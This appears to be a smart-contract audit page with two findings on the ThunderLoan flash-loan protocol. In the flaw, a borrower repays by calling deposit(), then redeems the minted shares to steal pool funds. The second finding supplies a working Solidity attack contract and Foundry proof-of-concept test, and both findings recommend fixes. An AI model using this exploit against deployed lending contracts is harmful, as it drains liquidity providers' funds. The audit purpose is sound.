The protocol verifies flash-loan repayment only by checking that the AssetToken's underlying balance grew to at least startingBalance + fee after the borrower's callback (ThunderLoan.sol:212-215). It never records which tokens were returned or whether they came from the borrower's pocket versus a fresh deposit. A borrower's executeOperation can therefore call deposit() with a portion of the borrowed funds: that single call both restores the AssetToken's balance (satisfying the repayment check) and mints AssetToken shares to the borrower. After flashloan() returns, the borrower calls redeem() on those shares and withdraws the same underlying back out. The loan is effectively never repaid, and the borrower keeps the borrowed principal at the expense of every liquidity provider in that pool.
flashloan() snapshots the AssetToken balance (ThunderLoan.sol:182), bumps the exchange rate, transfers amount to the receiver (:199), and invokes receiverAddress.executeOperation(...) (:201-210). The only post-callback validation is the absolute balance assertion at :212-215. Because deposit() (:147-156) is reachable during that callback and mints shares equal to the deposited amount, a receiver can return the borrowed tokens through deposit() instead of a genuine repayment. The balance check sees the restored principal (plus the separately-supplied fee) and passes, while the receiver now holds redeemable shares worth amount + fee. The redemption path (:161-178) then pays those shares out of the same AssetToken. Each guard that looks sufficient is not: revertIfZero/revertIfNotAllowedToken on deposit only validate input shape, s_currentlyFlashLoaning is set during the callback but is read only by repay() (:220), and the repayment check measures a balance that a deposit itself can raise.
Likelihood: Any externally owned account can deploy a receiver whose executeOperation deposits the borrowed amount plus the fee, then redeem. It requires only that the pool hold liquidity (the normal steady state) and works with a standard ERC20 — no malicious token, no privileged role, and no oracle manipulation. It is repeatable until the pool is drained.
Impact: The borrower keeps the borrowed principal while the pool loses an equal amount, permanently. In the PoC the attacker nets ~10,002e18 while the pool drops ~10,000e18 in a single transaction. Liquidity providers are the harmed actor; the loss is direct, unrecoverable (the funds legitimately leave via redeem), and scales to the pool's entire balance. The same mechanism exists in ThunderLoanUpgraded.
Setup: a victim deposits 100,000e18 of an allowed token, giving the pool liquidity. The attacker contract (DepositRedeemer) is funded with exactly the flash-loan fee. It calls flashloan(amount = 10,000e18). Inside executeOperation it approves and calls deposit(token, amount + fee); this returns the borrowed principal plus fee into the AssetToken (satisfying endingBalance >= startingBalance + fee) and mints shares to the attacker contract. flashloan returns successfully. The attacker then calls redeem(token, type(uint256).max), burning those shares and withdrawing amount + fee-worth of underlying. The final assertions prove the attack: the attacker contract's balance is strictly greater than the fee it started with (it recovered the fee and the borrowed principal), and the pool's balance is strictly lower than before the loan — i.e., principal was stolen, not merely recycled.
The repayment check must not be satisfiable by a deposit, and user-callable flows that mint claims must not run while a loan is outstanding. The simplest robust fix is to add a reentrancy/loan-state guard to deposit and redeem (and flashloan itself) so no shares can be minted or burned during the callback, while leaving repay() as the only repayment path. A complementary hardening — recommended because the balance check is intrinsically ambiguous — is to convert repayment verification into an explicit debt ledger and compare the AssetToken balance delta against that recorded debt rather than against a raw startingBalance. Blocking deposit/redeem during the callback closes this exact mechanism and also mitigates the nested-flash-loan inflation variant; the ledger change removes the underlying class (third-party donations and rebases satisfying the check) as well.
## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.